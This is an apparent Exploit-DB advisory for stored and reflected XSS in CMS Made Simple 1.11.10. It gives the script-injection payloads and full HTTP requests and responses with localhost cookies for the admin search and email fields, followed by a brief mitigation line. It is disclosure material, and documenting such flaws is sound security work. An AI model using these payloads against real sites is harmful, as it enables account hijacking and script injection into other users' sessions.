CMS Made Simple 1.11.10 Multiple XSS Vulnerability

vendor:

CMS Made Simple

by:

Blessen Thomas

3,3

CVSS

MEDIUM

Stored XSS and Reflected XSS

79, 79

CWE

Product Name: CMS Made Simple

Affected Version From: 1.11.10

Affected Version To: 1.11.10

Patch Exists: YES

Related CWE: N/A

CPE: a:cms_made_simple:cms_made_simple:1.11.10

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2014

CMS Made Simple 1.11.10 Multiple XSS Vulnerability

Login to the admin portal and access search functionality. Here the 'search' parameter is vulnerable to stored XSS. Payload: '">><marquee><img src=x onerror=confirm(1). Login to the admin portal and click the 'My Preferences' and click 'My account' section. Here, the 'email address' parameter is vulnerable to reflected XSS. Payload: '"";</script><script>alert(0)</script><"

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

Exploit Title : CMS Made Simple 1.11.10 Multiple XSS Vulnerability

Google dork : N/A

Date : 02/04/2014

Exploit Author : Blessen Thomas

Vendor Homepage : http://www.cmsmadesimple.org/

Software Link : N/A

Version : 1.11.10

Tested on : Windows 7 hosted in WAMP server

Type of Application :  open source content management system,





Stored XSS :

Login to the admin portal and access search functionality

http://localhost/cmsmadesimple-1.11.10-full/index.php

Here the " search " parameter is vulnerable to stored xss.

Payload :

'">><marquee><img src=x onerror=confirm(1)

request:

POST http://localhost/cmsmadesimple-1.11.10-full/ HTTP/1.1

Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0)
Gecko/20100101 Firefox/28.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer:
http://localhost/cmsmadesimple-1.11.10-full/index.php Cookie:
_sx_=3ee623ee0900c03b; cms_admin_user_id=1;
cms_passhash=fcb88b76587f0658cd2481a004312918;
CMSSESSIDd508249c=qijlp266idmf9sjc51bai74lg7;
PHPSESSID=5fvasiledip329l0bhr2ulb1j0;
CMSSESSID7a29d042=qv3lpa3fpdflsmqac1icp5cfe7 Connection: keep-alive
Content-Type: application/x-www-form-urlencoded Content-Length: 153

mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=15&cntnt01searchinput=%27%22%3E%3E%3Cmarquee%3E%3Cimg+src%3Dx+onerror%3Dconfirm%281%29&submit=Submit

response :


<div id="search" class="core-float-right">
            '">><marquee><img src=x onerror=confirm(1)
          </div>
             <a href="http://localhost/cmsmadesimple-1.11.10-full/"
title="Home Page, shortcut key=1" >CMS Made Simple Site</a>
</div>





Reflected XSS :

Login to the admin portal and click the "My Preferences" and click "My
account" section.

Here , the "email address" parameter is vulnerable to reflected XSS.

Payload :

"";</script><script>alert(0)</script><"

request :

POST
http://127.0.0.1/cmsmadesimple-1.11.10-full/admin/myaccount.php?_sx_=1c8c76366630b299
HTTP/1.1

Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0)
Gecko/20100101 Firefox/28.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer:
http://127.0.0.1/cmsmadesimple-1.11.10-full/admin/myaccount.php?_sx_=1c8c76366630b299Cookie:
_sx_=1c8c76366630b299; cms_admin_user_id=1;
cms_passhash=fcb88b76587f0658cd2481a004312918;
CMSSESSIDd508249c=71ougg9mi3ikiilatfc0851no5 Connection: keep-alive
Content-Type: application/x-www-form-urlencoded Content-Length: 103

active_tab=maintab&user=test&password=&passwordagain=&firstname=&lastname=&email="";</script><script>alert(0)</script><"&submit_account=Submit


response :

</aside>	 </div>	 <!-- end sidebar //-->	 <!-- start main
-->	 <div id="oe_mainarea" class="cf">	 <aside class="message
pageerrorcontainer" role="alert"><p>The email address entered is
invalid: "";</script><script>alert(0)</script><"</p></aside><article
role="main" class="content-inner"><header class="pageheader
cf"><h1>My&nbsp;Account</h1><script type="text/javascript">